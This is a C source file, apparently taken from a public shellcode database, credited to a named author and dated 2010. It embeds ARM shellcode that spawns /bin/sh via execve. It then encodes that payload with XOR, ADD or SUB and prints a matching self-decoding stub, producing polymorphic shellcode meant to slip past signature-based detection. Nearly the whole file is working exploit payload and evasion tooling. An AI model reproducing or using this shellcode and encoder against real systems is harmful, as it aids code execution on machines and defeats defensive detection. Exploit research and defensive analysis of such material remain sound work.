143 lines
No EOL
4.6 KiB
C
143 lines
No EOL
4.6 KiB
C
/*
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Title: Generator polymorphic shellcode on ARM architecture
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Date: 2010-07-07
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Tested on: ARM926EJ-S rev 5 (v5l)
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Author: Jonathan Salwan
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Web: http://shell-storm.org | http://twitter.com/jonathansalwan
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! Database of shellcodes http://www.shell-storm.org/shellcode/
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Credit
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======
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This code generates a shellcode polymorphic execve("/bin/sh", ["/bin/sh"], NULL)
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on ARM architecture.
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You can encode your shellcode with XOR, ADD, SUB
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*/
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#include <stdio.h>
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#include <stdio.h>
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/* execve("/bin/sh", ["/bin/sh"], NULL); */
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unsigned char your_SC[] = "\x01\x30\x8f\xe2"
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"\x13\xff\x2f\xe1"
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"\x78\x46\x0a\x30"
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"\x01\x90\x01\xa9"
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"\x92\x1a\x0b\x27"
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"\x01\xdf\x2f\x2f"
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"\x62\x69\x6e\x2f"
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"\x73\x68";
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void syntax(void)
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{
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fprintf(stdout,"\nSyntax: ./encode <type> <value>\n\n");
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fprintf(stdout,"Type: -xor\n");
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fprintf(stdout," -add\n");
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fprintf(stdout," -sub\n\n");
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fprintf(stdout,"Exemple: ./encode -xor 20\n\n");
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exit(1);
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}
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int main(int argc, char *argv[])
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{
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if(argc != 3){
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syntax();
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return 1;
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}
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if(!strcmp(argv[1], "-xor"))
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{
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fprintf(stdout,"Encode : XOR %s\n", argv[2]);
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fprintf(stdout,"Encoded: \n");
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int num = (256-strlen(your_SC))+1;
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int num2 = num + 1;
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fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
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"\\x16\\xff\\x2f\\xe1"
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"\\x%.2x\\x40\\xa0\\xe3"
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"\\x01\\x0c\\x54\\xe3"
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"\\x1e\\xff\\x2f\\x81"
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"\\x%.2x\\x40\\x44\\xe2"
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"\\x04\\x50\\xde\\xe7"
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"\\x%.2x\\x50\\x25\\xe2"
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"\\x04\\x50\\xce\\xe7"
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"\\x%.2x\\x40\\x84\\xe2"
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"\\xf7\\xff\\xff\\xea"
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"\\xf5\\xff\\xff\\xeb"
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,num, num, atoi(argv[2]), num2);
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for (int i=0;i<sizeof(your_SC)-1;i++){
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your_SC[i] = your_SC[i]^atoi(argv[2]);
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fprintf(stdout,"\\x%.2x", your_SC[i]);
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}
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fprintf(stdout,"\n");
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}
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if(!strcmp(argv[1], "-add"))
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{
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fprintf(stdout,"Encode : ADD %s\n", argv[2]);
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fprintf(stdout,"Encoded: \n");
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int num = (256-strlen(your_SC))+1;
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int num2 = num + 1;
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fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
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"\\x16\\xff\\x2f\\xe1"
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"\\x%.2x\\x40\\xa0\\xe3"
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"\\x01\\x0c\\x54\\xe3"
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"\\x1e\\xff\\x2f\\x81"
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"\\x%.2x\\x40\\x44\\xe2"
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"\\x04\\x50\\xde\\xe7"
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"\\x%.2x\\x50\\x45\\xe2"
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"\\x04\\x50\\xce\\xe7"
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"\\x%.2x\\x40\\x84\\xe2"
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"\\xf7\\xff\\xff\\xea"
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"\\xf5\\xff\\xff\\xeb"
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,num, num, atoi(argv[2]), num2);
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for (int i=0;i<sizeof(your_SC)-1;i++){
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your_SC[i] = your_SC[i]+atoi(argv[2]);
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fprintf(stdout,"\\x%.2x", your_SC[i]);
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}
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fprintf(stdout,"\n");
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}
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if(!strcmp(argv[1], "-sub"))
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{
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fprintf(stdout,"Encode : SUB %s\n", argv[2]);
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fprintf(stdout,"Encoded: \n");
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int num = (256-strlen(your_SC))+1;
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int num2 = num + 1;
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fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
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"\\x16\\xff\\x2f\\xe1"
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"\\x%.2x\\x40\\xa0\\xe3"
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"\\x01\\x0c\\x54\\xe3"
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"\\x1e\\xff\\x2f\\x81"
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"\\x%.2x\\x40\\x44\\xe2"
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"\\x04\\x50\\xde\\xe7"
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"\\x%.2x\\x50\\x85\\xe2"
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"\\x04\\x50\\xce\\xe7"
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"\\x%.2x\\x40\\x84\\xe2"
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"\\xf7\\xff\\xff\\xea"
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"\\xf5\\xff\\xff\\xeb"
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,num, num, atoi(argv[2]), num2);
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for (int i=0;i<sizeof(your_SC)-1;i++){
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your_SC[i] = your_SC[i]-atoi(argv[2]);
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fprintf(stdout,"\\x%.2x", your_SC[i]);
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}
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fprintf(stdout,"\n");
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}
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return 0;
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} |